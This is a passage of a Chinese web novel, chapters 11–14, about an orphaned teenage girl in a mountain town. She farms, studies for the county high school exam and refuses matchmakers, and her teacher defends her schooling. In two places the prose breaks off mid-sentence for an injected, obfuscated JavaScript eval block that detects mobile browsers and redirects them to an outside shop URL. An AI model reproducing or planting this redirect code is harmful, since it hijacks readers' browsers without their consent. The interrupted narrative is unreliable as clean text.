再说他也很忙,一会儿还有事儿呢,他家又养了一批鸡鸭,还是归他管,鸡鸭是很好养的,只是有些麻烦,尤其是鸭子,每天都要赶着去河边,这些小畜生喜欢乱跑,得费神紧盯着才行。 11. 第 11 章 林豆蔻在学习上,终于找到了一种驾轻就熟的感觉,就像她种庄稼,别人觉得费力的事情,她总是一下子便能做好。 青山镇是个山沟沟,山脚下,山坡上,还有半山腰有很多荒地,除了分到的田地,一般勤劳的人家,都会再开垦一两块荒地,荒地虽然不肥,但只要不是灾年,种了总会有些收成。 林校长种的田原本就是荒地,但他开出来的十几亩田,每年收成都很好。 林豆蔻也早想开一块荒地,但地不是随便乱开的,她按照自己的标准,精心挑选了一块沙地,这块地够平坦够大,用脚大致丈量过了,差不多有一亩地了,当然缺点也很明显,这地都快到半山腰了,种和收都麻烦,而且附近没有水源,更不可能有机井,取水灌溉十分困难。 但也不是没有办法,山下有河,担水上去就可以了。 林豆蔻想种地瓜和花生,这两种农作物,恰巧最适宜的土壤就是沙地。 四月里,清明刚过,她先把荒地翻了一遍,然后从山上捡了好多枯草树叶,焚烧之后就变成了一层草木灰,也是运气好,隔了一天就下了一场雨,不必担水浇地了。 林豆蔻将育好的地瓜苗载到地里,看着微风吹动小小的红薯叶,再抬头看看天,天此时是灰蓝色的,一大片一大片的云也是灰白色的,远处煤矿的巨型烟囱吐出乌黑的烟雾,这景色实在算不上美,但她就是很开心。 回家的路上,碰上了堂姐林巧红。 “豆蔻!你这是干啥去了?” 最近这大半年,林豆蔻很少去捡煤,林巧红现在专门绣花,也不经常去捡煤了,两个人都忙,倒有些日子没见了。 林巧红骑着崭新的自行车,身上穿的是同样崭新的绿色花褂子,头上别着时髦的发卡,裤线熨得笔直,就连脚上也是穿得一双新鞋。 林豆蔻笑着回答,“我在山上开了一块地,刚把地瓜苗栽上了,巧红姐,你去串亲戚了?” 林巧红犹豫了一下,“对,我去我县里表姑家了。” 她的确是去串亲戚了,但并不是单纯的串亲戚,她这个表姑给她介绍了一个对象,把男方说的如何如何好,结果今天去了一看,原来是个矬子,个子还没她高,长得矮也就算了,说话还喜欢斜着眼睛看人。 家在县里有什么了不起的,不就是一个面粉厂的工人吗? 林巧红没看上,甚至连饭都没吃,骑着车子就回来了。 这时从对面远远地开归来一辆军绿色的吉普车,镇上的大路也不算很宽,林豆蔻赶紧把空的平板车往路边靠了靠。 汽车的速度可真快,一眨眼就来到了跟前,车停下了,车窗里有人探出头,是个很漂亮的少妇,头发烫着卷,雪白的面皮,大眼睛水汪汪的,她笑着说,“这不巧红吗?” 林巧红有些受宠若惊,慌慌地说,“双燕姐,你回来了,我大娘都等了半天了。” 李双燕笑了笑,冲她摆了摆手。 林巧红盯着进了镇子的吉普车,不无羡慕的问,“豆蔻,你知道刚才那是谁吧?” “不知道。” “她是李双燕,家住在镇子东头,他们李家和咱们姓林的来往不错,她家才开了个烧饼摊,我去换过几次烧饼,我妈说,双燕姐是咱们镇上嫁人嫁得最好的了,她公公是县武装部的部长,她对象也是国家干部,她婆家对她都可好了,还给她安排了工作,你看她回个娘家,都开着公家的小汽车!“ 林豆蔻推起板车,含混地应了一声。 没想到堂姐又问,“豆蔻,你想过没有,你以后想找什么样的对象?” 说起来林巧红本来并没有太想找对象,她现在很少去捡煤,也很少下地干活儿,大部分时间专门在家里绣花,偶尔看看侄子侄女,因为绣花挣钱多,家里人都对她客客气气的,她母亲现在不仅热衷于打扮她,还偶尔给她零花钱了,她觉得这样的日子就很好了,但她已经十八岁了,她母亲,她两个哥哥,两个嫂子,都说该相看对象了。 经不住家里人一遍一遍的劝说,再加上她本来也是个好强的,现在她也觉得,她应该找对象了,而且必须要找一个各方面条件都特别好的对象。 她不跟别人比,专跟李双燕比,因为无论是她本人还是家里的条件,都不比李双燕差,那她也必须找一个和李双燕婆家差不多的婆家才行。 然而现实却是,不少人家都看上了她,给她说亲的也很多,但条件都不算好,尤其那些县上的,都是些普通的不能再普通的人家了。 别看林豆蔻长成一个大姑娘的样子了,甚至个子比林巧红还高一点儿,但心里想的不是上学就是种地,除此之外,别的事儿都不怎么关心,找对象对她来说,是太遥远的事儿。 她不知道怎么回答,于是学着赵老师的说话风格,反问,“巧红姐,你有喜欢的对象了,你想嫁人了?” 林巧红果然臊红了脸,瞪她一眼,“瞎说什么呢,我可没喜欢上谁,我今天是去串亲戚了!” 说完骑上车子逃也似的走了。 林豆蔻把板车还给福婶儿,先去了一趟自家的菜园子,现在菜园子还没什么菜,不过有去年埋下的韭菜根,嫩嫩的春韭已经快有一尺高了,正是该吃了,再还有前些日子撒了一片菠菜,这东西长得快,遇水就长,现在也长了半尺高了。 她割了一把韭菜,拔了一小把菠菜。 今天是星期天,林豆蔻上山栽地瓜了,木香也没有出去玩儿,而是把家里都收拾了一个遍,院子扫得一根草没有,晾衣绳上挂满了刚洗的衣服,屋子里桌子椅子都擦了一遍,外面的灶台也都擦得干干净净。 就连院子角落的鸡窝都打扫了一遍。 这会儿正乖乖的坐在桌子前写作业呢。 小姑娘仰起脸,笑着说,“姐,你回来了,我还想去找你呢,看看咱家的地瓜苗到底栽哪了。” “等过些日子带你去。” “木香,你饿了吧,今天中午咱们吃韭菜鸡蛋饺子,再做一个菠菜汤。” 现在姐妹俩的伙食有了明显的改善,养了那么多鸡,每天都能吃上鸡蛋,而且一天三顿几乎都吃白面馒头,也就偶尔蒸上一顿窝窝头。 想吃饺子,随时就能吃了。 换在以前,这是根本不敢想的事儿。 木香洗菜切菜,豆蔻和面煎鸡蛋,没一会儿功夫,馅也拌好了,皮儿也擀了,很快就包了一盖帘。 白白胖胖的饺子,看着就很诱人。 林豆蔻先烧水煮了一锅,她和妹妹各自吃了一大盘,吃饱肚子又把剩下的馅和皮儿包了,仍旧下锅煮了,分成了两份,一份给林校长送去,一份给福婶儿送去。 林校长和林大奶奶也正在吃午饭,主食是大白馒头,菜是白菜炒肉片,还有南瓜小米粥。 炒肉片不像以前他大哥家,肉切得特别薄,看起来显眼,其实没多少,林校长家的炒肉片很扎实,连同白菜一起,满满的一大盘子。 他们老两口都有工资,本来收入就不低,又开了十几亩的荒地,日常生活水准在镇上是数一数二的。 但林校长看到林豆蔻端来的饺子,顿时觉得老伴儿做的饭菜不香了,他笑着问,“韭菜饺子?” 林豆蔻点点头,将粗瓷碗放在桌子上,笑着说,“是头茬韭菜,可鲜呢,我还放了一小把虾皮。” 林校长一开始觉得她是学习的好苗子,后来见她庄稼也种得好,又觉得虽然是出了五服的堂孙女,倒是还真有点儿像他。 但他没想到,十几岁的姑娘,做饭手艺也这么好,最近这半年,她经常送些自己做的吃食过来,有豆腐馅的饺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983988|193591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,有一咬流汁儿的小肉包,有金黄酥脆的芝麻饼,还有好看又好吃的葱油花卷,每一样儿都特别好吃,这可真是太难得了。 整个青山镇姓林的晚辈都算上,估计以后最出色的,非她莫属了。 林校长迫不及待地夹了一个饺子吃,吃完一个立马又吃第二个,一连吃了四五个才停下来,“这饺子可真鲜!比一般饭馆里的味儿都好!” 林大奶奶尝了尝,也笑着夸,“豆蔻这孩子干啥像啥,干什么都比别人强,可真是太聪明了。” 林豆蔻不好意思地笑了笑。 她聪明吗,以前觉得自己不聪明,但现在觉得,应该也算有点儿聪明。 堂姐林巧红最近在四处相看对象,这已经不是什么秘密了,林豆蔻也已经知道了,但她万万没想到的是,她竟然还能和这种事儿沾上边儿。 来给她说媒的是隔壁的建华堂嫂。 这位堂嫂平时话不多,但也很和气,对她们姐妹俩都挺好的,不过她很忙,住得这么近,倒是很少上门。 豆蔻放学刚到家,建华嫂子掐着点就来了,一上来就是各种夸,夸完了说,“豆蔻,你虚岁也十七了吧,也不算小了,你自己带着木香过,外人瞧着也不像回事儿,还是正经成个家更好,你认识陈子刚吧,比你就大两岁。” 青山镇是个大镇,约有上千户人家,林豆蔻好多人都不认识,即便是同龄人,有些也最多觉得眼熟,根本叫不上名字。 她摇了摇头,“不认识。” 建华嫂子说,“那么帅的小伙儿,你咋不认识呢,咱们镇上不就一个杀猪店吗,就他家的大儿子。” 这么一说,林豆蔻有印象了,她去买过几次肉,的确碰到过两回,有一次还是这个陈子刚给她称的肉。 但,他帅吗? 林豆蔻对异性没有特别关注,但她觉得,在她的生活圈里,并没有很帅气的年轻男性。 如果仅从五官来说,她大哥长得算是不错,要不然刘爱玲婚前也不会死缠烂打,但她大哥一身的煤灰味儿和烟味儿,吸烟吸的手指都熏黑了,更和帅气无关了。 至于学校里的男生,不管长相如何,多数都有点儿聒噪,也有安静的,比如张正军,他学习也好,性格也好,但他很不讲究卫生,书包和课本皱巴巴的,每天穿的衣服也都脏兮兮的。 说回那个陈子刚,穿得倒是还算干净,但那张胖乎乎的脸,以及额头上的粉刺,和帅气没有半毛钱关系。 建华嫂子见她不说话,又笑着说,“陈家别的不说,有的是钱,每天卖一只猪,一天就赚上百,早就是万元户了,听说计划盖二层小楼呢,咱们镇上除了供销社,还没有二层楼呢。” 陈家不仅有钱,陈家两口子还是出了名的厚道人,她家素丽就是太小了,如果也和林豆蔻差不多大,这么好的一门亲事,她这个当媒人的非要半路截胡不可。 林豆蔻此刻的心情很复杂,起初觉得诧异,继而觉得可笑,又觉得离谱,甚至荒诞,她和她哥分家了,带着妹妹单过,不就是为了继续上学,这个前提之下,竟然还会有人想要提亲? 她心里有一种说不出的气恼,说出来的话自然硬邦邦的,“不管他什么条件,我现在也不考虑这个事情。” 建华嫂子又笑笑,“豆蔻,你这不还有两个月初中毕业了吗,咋,还要去县里上学啊,县中一年得花好几百块,你咋个能上得起?” 比邻而居这么长时间,林豆蔻倒是没想到,这个建华嫂子看着和气,实则是这样嘴欠的人,她冷冷地说,“我上不上得起,不是你该管的,你还是操心一下你家老三吧。” 她家的老三,都三岁多了还不会说话,连一个字都不会说。 建华嫂子听了一下子蹦起来,像是被踩了尾巴的野猫,气呼呼的走了。 12. 第十二章 这点儿事儿林豆蔻压根儿没往心里去,她还有两个多月就要中考了,她的成绩现在稳定在全班第一,年级第三,按照以往的分数线,考上县中是没问题了。 但总觉得自己还有进步的空间。 而且现在她和班里原来的第一名赵秋琴差距非常小,每次考试都是仅有几分的优势,若她稍微松懈一点儿,就会被反超了。 赵秋琴的座位就在她的前面,是她的前桌,她是个活泼开朗的女生,和班上所有同学关系都很好,赵老师批评过班里所有的学生,张正军也不例外,她就更不用说了,但唯独从来没有批评过赵秋琴。 而且她有一个很完美的家庭,她的父亲就是学校的物理老师,她的母亲在镇邮政局工作,她还有个胖弟弟,但她一看就是被宠着长大的女生。 “豆蔻,你英语卷子这么快就做完了,能让我看一下吗?” 赵秋琴各科也都学得很好,唯一明显有点儿弱的是英语,其实也不仅仅是她,所有青山镇的学生,英语都不太行,因为两个英语老师的水平都太差了,发音不行,语法也不行,这样教出来的学生,成绩怎么可能会好。 但林豆蔻的英语成绩却越来越好,她是用了很笨的方法,那就是背诵,不仅背诵单词,整个课本全都背下来了。 但这些还不够,她还会背所有英语卷子上的易错题,语言不像数学物理逻辑性那么强,背多了自动就融会贯通了,所以她做英语卷子不仅速度快,正确率还特别高。 林豆蔻将卷子递过去,说,“最后的阅读理解有没学过的单词,但不用管,其实是不影响做题的。” 赵秋琴接过卷子,笑着点了点头,又加一句,“豆蔻,星期天我和一班的陈丽芳约好了,要去一趟县上的新华书店,你去吗?” 林豆蔻最近也打算去县上的书店看看,想再去看看有没有合适的学习资料,便答应了,“好啊。” 以前她去了那么多次县上,暑假里天天去是卖冷饮,寒假里也天天去是卖炒货,去卖东西没那么多讲究,都是穿着日常打补丁的衣服去的。 但这次是和同学一起去逛书店,必须得讲究一点儿。 前一阵子镇上的供销社进了一批很便宜的布,有的是花色印错了,有的是颜色不均匀,但布很细密绵软,是很好的料子,因为价格实在便宜,她也买了几尺,托堂姐林巧红给自己和妹妹都做了一件褂子。 她挑的布是月白色的,小碎花的图案,只是图案颜色有深有浅,浅的是粉红,深的是橘红,不过若不仔细看,还以为就是这样的花色,倒也挺鲜亮的。 新衣服做好,木香第二天就穿上了,豆蔻一直没舍得穿。 周日上午,她吃过早饭,换上了新褂子,背上洗得发白的书包,对妹妹嘱咐了几句,便到镇子口等着同学了。 没一会儿功夫,就听到了自行车的铃声响,赵秋琴和陈丽芳都骑着自行车,且都打扮的像城里姑娘。 赵秋琴说,“豆蔻,你这这么快就到了,来,我带你,咱们赶紧走吧。” 林豆蔻点点头,又冲陈丽芳笑了笑,算是打了招呼。 林豆蔻之前不知道,原来赵秋琴和陈丽芳是很好的朋友,不过想想也很合理,她俩学习都很好,陈丽芳还不是一般的学习好,她是从初一到现在,大大小小的考试数不清,她几乎每次都是年级第一。 整个青山镇,就没有不认识她的。 一路上,赵秋琴和陈丽芳并没有讨论任何有关学习的话题,而是说起现在最时兴的衣服款式,最流行的发型,以及县里商店的发卡,哪一个最好看,但又说县里比起市里还是差远了,说到最后,竟商量好了,等中考结束,就一起去市里逛逛。 林豆蔻其实和她们都不算太熟,这样的话题她也根本插不进话,因此一直都保持沉默,赵秋琴察觉到了,连忙把话题往她身上引,“豆蔻,你这衬衫新做的,还挺好看的!” “是新做的。” 陈丽芳的家庭条件和赵秋琴差不多,她的父亲是镇医院的医生,母亲是护士,她平时的衣服,要么是找专门的裁缝店的,要么是从商场买回来的,而且她眼尖,看出来豆蔻的衣服料子有些不对劲儿,似乎染色有点儿问题。 因此,并不觉得好看。 不过,以前她倒是没发现,原来毫不起眼的林豆蔻,居然长得还挺好看的,脸型好看,眉眼好看,笑起来还有可爱的梨涡,不过皮肤也太黑了,一身打扮也土,再俊俏,一看也是乡下姑娘。 她附和,“是挺好看的,颜色很鲜亮。” 林豆蔻笑着说,“是吧,我也觉得颜色很好看,虽然是印错了,反而更鲜亮了。” 这天恰好是县里赶大集,街面上人很多,新华书店也有不少人,大多数都是像她们这样的学生。 林豆蔻上次来书店,还是去年寒假和妹妹一起卖炒货的时候,她发现书店新进了一批课外辅导书,都是按照现有的教材编写的,内容也都特别好。 尤其有一本数学辅导资料,编写的非常好,不但由浅入深,还有配套的练习题。 对她来说,可太合适了。 林豆蔻看了一下定价,这么一本不算太厚的书,竟然要一块多了,一般的书,都是六毛到八毛钱,这也太贵了。 她看了又看,舍不得买,但也舍不得放下。 过了好一会儿,赵秋琴叫她,“豆蔻,你挑好了吗?” 林豆蔻心里犹豫不决,她手上是有不少钱,但种庄稼没存下钱,买化肥买农药,交了公粮,再交了农业税等乱七八糟的费用,也剩不下多少了,倒是去年暑假卖冷饮挣了两百多,去年寒假卖炒货又挣了两百多,这四百多块钱她放在那儿都不放心,最后是存到了镇上的信用社。 只留下了几十块钱备着日常花费。 开春买化肥买农药,置办油盐酱醋,还添置了几件衣服,手里只剩下三十多块了。 县上书店的服务员早就盯上她了,走过来很凶的说,“不买不能看啊,光看不买,都把书翻坏了!” 林豆蔻咬咬嘴唇,把书还给她。 她又去了另一排书架去看,这一排全是农业建筑相关的书籍,还有名家小说,并没有初中生要用的学习资料。 “豆蔻,你挑好了吗?” 是赵秋琴在叫她了。 林豆蔻连忙往外走,看到收款的地方人还挺多,赵秋琴和陈丽芳也正在排队,手里都拿着两三本书。 她一瞬间就后悔了,连忙折回去,跟刚才的服务员说,“把那本书给我,我要买。” 出了书店,三人交换了一下各自买的书籍,赵秋琴和陈丽芳买的都是英语学习资料,唯有林豆蔻买的是数学。 此时时间还早,还不到中午,要是此刻回去,完全能赶上回家吃午饭,但赵秋琴提议,“要不,咱们去商场逛逛吧?” 陈丽芳正有此意,“也行,我要去买一只发卡。” 赵秋琴又用询问的目光看向林豆蔻,林豆蔻也没反对,“行。” 反正来都来了,就当闲逛了。 五月份正是换季的时候,商场里春装很少了,大都是夏装,除了各种款式各种花色的短袖衬衫,各种款式的轻薄面料的裤子,竟然还有不少裙子,有半身裙,也有连衣裙。 陈丽芳饶有兴趣的看了半天,说,“秋琴,你发现了吗,今年可能流行绿色,但我觉得不好看,像绿油油的青草似的,还是白色更好。” 她自己就穿了一件珍珠白的衬衫,白色圆领,领子还镶了一层花边儿,很很洋气,的确也很适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983989|193591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合她。 赵秋琴笑了笑,“是吗,我也很少穿绿色的。” 三个人逛了一大圈,最后来到专门卖发卡的柜台,两节柜台里摆满了各式各样的发卡,林豆蔻这还是第一次见到这么多的发卡。 有塑料的,有丝绒的,有条绒的,还有绸子蝴蝶结的,还有白色串了珠子的小发卡。 陈丽芳和赵秋琴挑了好半天,最后陈丽芳买了黑色丝绒的,赵秋琴买了串着彩珠的,她们让林豆蔻也买一个,说不管是丝绒的,还是串着珠子的,也都很适合她。 她很坚决地拒绝了。 十六七的少女,当然没有不爱美的,但花七八毛钱,甚至一块多钱买一个发卡,她觉得实在太浪费了。 从百货商场走出来,已经中午了。 此时街面上的人少了一些,但饭店和小食摊上特别热闹,吃饭的人非常多,赵秋琴和陈丽芳吃腻了国营饭店的那些饭菜,转而来到一个小食摊。 魏县其实有很多特色小吃,比如菜煎饼,比如黄米糕,也有卖油炸丸子的,卖豆腐脑的和炸油饼的。 赵秋琴和陈丽芳一人买了一块黄米糕,这米糕煎得又酥又脆,还沾了白糖,又脆又甜里头却是软糯的,十分好吃。 但光吃糕填不饱肚子,两人又一人要了一碗豆腐脑。 林豆蔻默默跟在后面,她也在卖豆腐的摊子上坐下了,不过没要豆腐脑,而是从书包里拿出一个手绢包儿,里面是一张白面饼,因为怕沾上了油,她是干烙的,刚出锅的时候这种饼子是很好吃的,但放了一上午,变得有些硬了,口感就没那么好了。 不过,她还是小口小口地吃的很香。 赵秋琴略有些不得劲儿,问,“豆蔻,你光吃饼啊,也要一碗豆腐脑吧?”其实她后面还有一句话,那就是我帮你付钱。 林豆蔻倒没觉得难为情,村镇上县里赶集闲逛的人多了,大多数人是舍不得在买饭吃的,都是从自己带的,她带的白面饼,已经算好的了,去年暑假她和妹妹每天都来卖冷饮,带的中午饭就是几个干硬的窝窝头。 她笑了笑,“不用了,你吃你的。” 说着站起来,买了一碗豆浆,豆腐脑两毛一碗,豆浆才五分钱。 回到家,林木香正写作业呢,看到姐姐回来赶紧倒了一碗水,“姐,福婶儿找你有事儿,说等你回来让你去一趟她家。” 五月时节,地里的活儿越来越多了,最近雨水不丰,麦地需要施肥,也需要浇水了,林豆蔻还以为是这事儿,喝了水就去了。 福婶儿正在家炸丸子,县上供电所也不知道出什么事儿了,她丈夫和大儿子都加班,小儿子也没回来,她便做些好吃的,打算让人捎走。 新出锅的绿豆面丸子还冒着热气,她盛了一大盘放在桌上,说,“豆蔻,你快趁热吃,你等我一会儿啊,还有一锅就炸完了。” 林豆蔻说,“我帮你烧火吧?” 福婶摆摆手,“不用烧了,灶底的火就够了。” 林豆蔻只好坐下,夹了几个丸子吃了,看到地上有剥了一半的花生米,便帮着剥花生了。 福婶很快也进屋了,又端了一盘炸藕合,笑着说,“他们爷们就喜欢这一口,里面夹了五花肉,可香了,你快尝尝!” 林豆蔻吃了一个放下筷子,问,“婶子,你找我什么事儿? 福婶没有回答她,而是从抽屉里拿出一张照片递给她。 林豆蔻不知道这是什么意思,但还是接过来了,照片上是个二十左右的男青年,个子挺高,穿着一身儿绿色的军装,五官很端正,笑得露出一口白牙。 似乎有那么一点儿面熟,但又想不起来是谁。 福婶见她看了又看,笑着说,“豆蔻,你觉得怎么样,这小伙儿是不是挺帅的?” 13. 第十三章 林豆蔻很清楚什么是不帅,但不太有界限定义什么是帅,当然了,这照片上的男青年,比那杀猪店的大儿子好看,也别班上的男生更顺眼,算不算帅,或者她觉得算不算不帅,有那么一点儿不确定。 她含混地嗯了一声。 福婶儿说,“咱们镇上原来邮电所有个郑所长,前年调到县里当主任去了,这是郑所长的大儿子,他叫郑海峰。” 林豆蔻这下想起来了,笑着说,“他弟弟叫郑海军,原来是我们班上的,不过初一下学期就转学到县里了。” 福婶忍不住打量起眼前的姑娘,虽说左右邻居住着,几乎天天都能打照面,但还是有些看不够。 不知不觉间,豆蔻已经长成大姑娘了,个子比她还高了,标准的瓜子脸儿,大大的杏仁眼儿,鼻头有些翘,樱桃小嘴也有些翘,唯一可惜的是经常下地干活儿,皮肤晒得有些黑,但即便这样,也非常引人注目。 尤其她今天穿了一件月白底儿碎花的新式衬衫,别提多俊俏了。 也难怪,早早就被人看上了。 其实林豆蔻已经有了不太好的预感,果然不出所料,福婶儿笑着说,“豆蔻,婶子就不跟你绕弯子了,这个郑海峰在县工商局上班,他看上你了,特意托了我说和。” 福婶儿除了是个热心肠,特别爱帮助人之外,还是镇上有名的媒人,不过她家里条件好,不图那三瓜两枣的谢礼,所以她从不会乱说媒,不会替男方糊弄人,也不会替女方狮子大开口,经她介绍顺利结婚的小两口,一般都过得挺好。 就现在人人羡慕的李双燕,当年也是她牵线做的媒。 林豆蔻摇头,“福婶儿,我现在年龄还小,先不考虑这些。” 最近这几年,跟以前的确不一样了,大姑娘小伙子都是十八九才相看人家,二十出头订婚也都很正常,甚至二十大几还有没订婚的。 林豆蔻的确岁数小了点。 不过,福婶儿也不是那冒失的人,不像建华嫂子,为了杀猪陈家十斤肉的谢礼,也不打听打听,直接就跟林豆蔻说了,豆蔻不答应,她还恼了。 郑家早就托她说合了,也有大半个月了,之所以拖到现在,是因为她找了好几个人打听,找了镇上原来的郑家邻居,还托了丈夫的朋友,有个恰好就在县邮电局上班。 仅这些还不够,还托人到工商局打听了郑海峰。 这大半个月打听的结果让她很满意,这郑家,的确是个不可多得的好人家,家庭条件就不用说了,一家四口三个人上班,工资还都不低,难得的是,这家人很和睦,跟谁都很和气,为人很好。 谁家的闺女能嫁到这样的人家,那就是掉进了福窝里。 福婶儿又说,“豆蔻,婶子知道你一心想要上学,但你上了县中,再上了大专,那毕业了不也是要参加工作吗,郑家说了,等你跟郑海峰订婚了,就给你在邮电局安排一个正式工作。” 这一点林豆蔻倒是没有想到,但她知道,现在不是以前了,村镇人想通过招工进城,几乎不可能了,即便是初中毕业生也不行,因为这个,前几年她哥林建设没少念叨,说他生不逢时。 要是早生十几年,就凭他的个人条件,一准儿能被招工进城。 倒是也有极少数有门路的,托了关系进工厂进单位,但一般都是临时工,郑家却允诺是正式工,听起来有些不敢让人相信。 林豆蔻问,“真的吗?” 福婶儿笑了,说,“那还有假?我让你叔打听了,邮政局内部是要招工,这么好的机会,你可不能错过了。” 林豆蔻沉默不语,低头看着自己的脚尖,她脚上穿的布鞋不大不小,不肥不瘦,十分的跟脚,还是福婶儿给她做的。 福婶儿做过那么多媒,比一般人都看得更清楚,大姑娘嫁人,简直就是重新投胎,找了好人家,一辈子顺风顺水,找了一般的人家,或许得吃苦受累,要是找了家风不好的人家,那可能不仅吃苦受累,挨打挨骂也都是有可能的。 豆蔻情况又不一样,父母都早早没了,有个哥哥也不顶用,自从分了家,她就没见林建设来过,婚后没有娘家撑腰,那就更要找个各方面都好的人家才行。 她又劝道,“豆蔻,我记得你叔说过,即便参加了工作,也是可以继续学习的,有那个夜大,单位也都承认学历,你经过的事儿少,不知道这是多好的机会,你听婶子一句劝,不要非一条路走到天黑。” “你回去好好考虑考虑,想好了再说。” 林豆蔻点了点头,“好。” 回到家,妹妹木香问她,“姐,福婶儿找你什么事儿啊? “麦子该浇地了,商量浇地的事儿。” 晚上昨晚作业,她拿出新买的数学辅导书,赵老师给她的那几套题是不错,但这个是跟着课本上的章节走的,内容更细致更全面。 林豆蔻不慌不忙地做了上面的一套题。 此时已经晚上十点多了,村镇人都歇得早,四周早是一片黑暗,她从里面锁上大门,洗了把脸,也上床休息了。 往常默读一会儿英语单词就能睡着了,今天背了老半天了,却还是翻来覆去地睡不着。 自从去年夏天小麦丰收,秋天玉米也丰收,家里有了足够吃的粮食,后来寒暑假又去卖冷饮卖炒货,还存下了四百块钱,她这心里踏实得很,每天吃得好睡得好,精神头儿也更好,但今天福婶儿的那些话,让她不由自主地又想了很多。 她和妹妹温饱不成问题了,以后上高中的钱也会有,四百不够,她还可以再去挣,这些都不用发愁。 但考上县中,有一个很现实的问题,到时她是要住校的,家里的四亩地怎么办?最重要的,妹妹木香怎么办? 她才八岁,一个人在家是不行的,但也不能把她送到大哥家。 这些事情,平时她都不愿意去想。 福婶儿说的郑海峰,她应该是打过两回照面,不过没什么印象,但郑家提供的这些条件,却不能不让她动心了。 如果她成了邮电局的正式工,不仅每个月都有不少的工资,应该也能分到一间宿舍,到时她把妹妹带走就行了。 一切的困难似乎都能迎刃而解。 代价就是她要订婚,她要嫁人,她会拥有另一个身份,但这些事情的实质意义她并不懂,因为未知,自然也有恐慌。 还有她最关心的,夜大到底是怎么回事儿,和正常的大学有什么区别。 林豆蔻想来想去,觉得还是要问一问别人比较好,但谁会知道夜大的事儿呢,赵老师肯定是知道的。 第二天课间,她便去了教室办公室,“赵老师,我想问你一个问题。” 赵振铎正在备课,头也不抬地问,“什么问题?” “夜大和正常的大学有什么区别?” 赵振铎很意外,抬起头看了看她,反问,“你问这个干什么?” 林豆蔻早就料到他会这么问,半真半假的说,“我的一个亲戚,她都参加工作了,还想继续学习,听说夜大也挺好。” 赵振铎倒是不知道,这个学生怎么这么爱管闲事儿了,他往上推了推鼻子上的眼镜,简单的说,“完全不一样,从授课内容到学习形式 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她父母都去世了,不被人惦记才怪呢。 赵振铎问,“有人给你说亲?” 林豆蔻又羞又愧,点了点头。 当天晚上,赵振铎就气势汹汹去了福婶儿家里,福婶儿觉得奇怪,不过还是热情的倒了一碗水,笑着问,“赵老师,来找我什么事儿啊?” 赵老师阴沉着一张脸,说,“刘福巧,我记得你也是团员,你的思想觉悟怎么这么低啊?你这些年光长岁数不长脑子,我继武哥回家来不跟你讲现在的政策和形势?我看你真是一点儿也不了解。” 福婶儿觉得莫名其妙,“赵老师,我可没得罪你,你胡说啥呢?” 赵老师瞪着她,“你不知道林豆蔻学习好吗,你不知道她一门心思学习吗,她跟他哥分家是为啥,就是因为她哥不供她上学了,她才带着妹妹单过了,日子过得多不容易,又得上学又得种庄稼,你不帮忙也就算了,还帮她往火坑里推,马上中考了,你给她说亲,你安的什么心思?” “林豆蔻最近成绩很突出,你故意捣乱,是不想让她考上县中,你的两个儿子都没考上县中,所以你也不希望别人考上,她周岁才十五,你就给她说亲,你要是有亲闺女,你舍得这么小就给她订婚?” 福婶儿被这一席话气得不轻,她怎么没帮忙,她不仅帮着豆蔻种庄稼,给姐妹俩做鞋穿,有点儿好吃的都惦记着送过去一碗,再说了,说亲怎么是往火坑里推呢? “赵老师,你可别瞎说,你不知道详细情况,那郑家的确条件好,就是原来在镇上邮政所的郑所长家,她家大儿子在工商局上班,一家子都特别和气,还答应了一订婚就给豆蔻安排正式的工作,这样的人家,可难找着呢,要是你闺女大了,说不定比我还急呢。” 赵振铎冷哼一声,“管他什么条件,豆蔻现在一心学习,不考虑别的,这些事儿等她考上大学了再讨论也不晚!” 福婶儿觉得他是站着说话不知道腰疼,“先不说那么远,豆蔻要是考上了县中,一年没有两三百下不来,而且还有她妹妹木香,木香咋办?总不能让一个七八岁的小孩一个人在家吧,还有四亩地咋办,不种了?” 赵振铎不觉得这是多麻烦的事儿,“这好解决,县上又不算多远,买一辆自行车,每天早上去县里上学,傍晚回来不就行了?” 福婶儿一愣,这倒是个办法,但自行车可不好买,而且还挺贵,豆蔻能有钱买吗? 不过她知道这一桩亲事大概是成不了了。 14. 第十四章 其实林豆蔻也不是没想过要买一辆自行车,这样去县城卖冷饮或者炒货的时候,就不用用手拎着或者背着了,但自行车不好买,而且也太贵了,她悄悄去县上的百货商场看过,一辆就要一百七十多块了。 好不容易攒下的钱她不敢一下子花掉那么多。 而且平时的确也用不上。 过了几天,她特意蒸了花卷,不是普通的花卷,是不但加了盐油葱花,还加了肉末的花卷,之前她做了一回,福婶特别爱吃,一口气吃了仨。 福婶儿接过去,“哎呦,豆蔻,怎么给我送来那么多?” 林豆蔻笑笑,“木香也喜欢吃,我蒸了两大锅呢。” 福婶儿将刚做好的两双鞋拿出来,说,“你和木香一人一双,快试试你的合脚不?” 林豆蔻心里有点儿愧疚,问,“婶子,赵老师是不是来找你了?” 她是今天傍晚去办公室交收上来的作业,赵老师才告诉她的。 福婶儿撇了撇嘴,“真是不是一家人不进一家门,刘金香那嘴就够厉害了,以前还是生产队的时候,谁也说不过她,没想到你这赵老师嘴巴更厉害,哎呦一上来就给我扣帽子,说我觉悟太低。” 林豆蔻更不好意思地低下头。 